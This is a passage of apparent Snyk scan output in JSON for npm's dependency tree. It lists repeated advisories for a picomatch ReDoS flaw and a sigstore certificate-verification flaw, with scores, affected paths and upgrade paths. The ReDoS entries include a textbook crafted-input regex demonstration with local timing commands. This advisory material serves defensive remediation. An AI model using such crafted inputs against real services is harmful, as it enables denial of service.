"@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.32979", "probability": "0.00404", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:37.899475Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.32979", "probability": "0.00404", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:37.899475Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-SIGSTORE-17817054", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<4.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "4.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "sigstore", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[sigstore](https://www.npmjs.org/package/sigstore) is a code-signing for npm packages\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `sigstore` to version 4.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "sigstore", "proprietary": false, "creationTime": "2026-07-04T16:02:59.038514Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:59.202340Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.666813Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "sigstore", "version": "4.1.0" }, { "id": "SNYK-JS-SIGSTORE-17817054", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<4.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "4.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "sigstore", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[sigstore](https://www.npmjs.org/package/sigstore) is a code-signing for npm packages\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `sigstore` to version 4.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "sigstore", "proprietary": false, "creationTime": "2026-07-04T16:02:59.038514Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:59.202340Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.666813Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.0", "sigstore@4.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "sigstore", "version": "4.1.0" }, { "id": "SNYK-JS-SIGSTORE-17817054", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<4.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "4.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "sigstore", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[sigstore](https://www.npmjs.org/package/sigstore) is a code-signing for npm packages\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `sigstore` to version 4.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "sigstore", "proprietary": false, "creationTime": "2026-07-04T16:02:59.038514Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:59.202340Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.666813Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "sigstore", "version": "4.1.0" }, { "id": "SNYK-JS-SIGSTORE-17817054", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<4.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "4.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "sigstore", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[sigstore](https://www.npmjs.org/package/sigstore) is a code-signing for npm packages\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `sigstore` to version 4.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "sigstore", "proprietary": false, "creationTime": "2026-07-04T16:02:59.038514Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:59.202340Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.666813Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "sigstore", "version": "4.1.0" }, { "id": "SNYK-JS-SIGSTORE-17817054", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<4.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "4.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "sigstore", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": 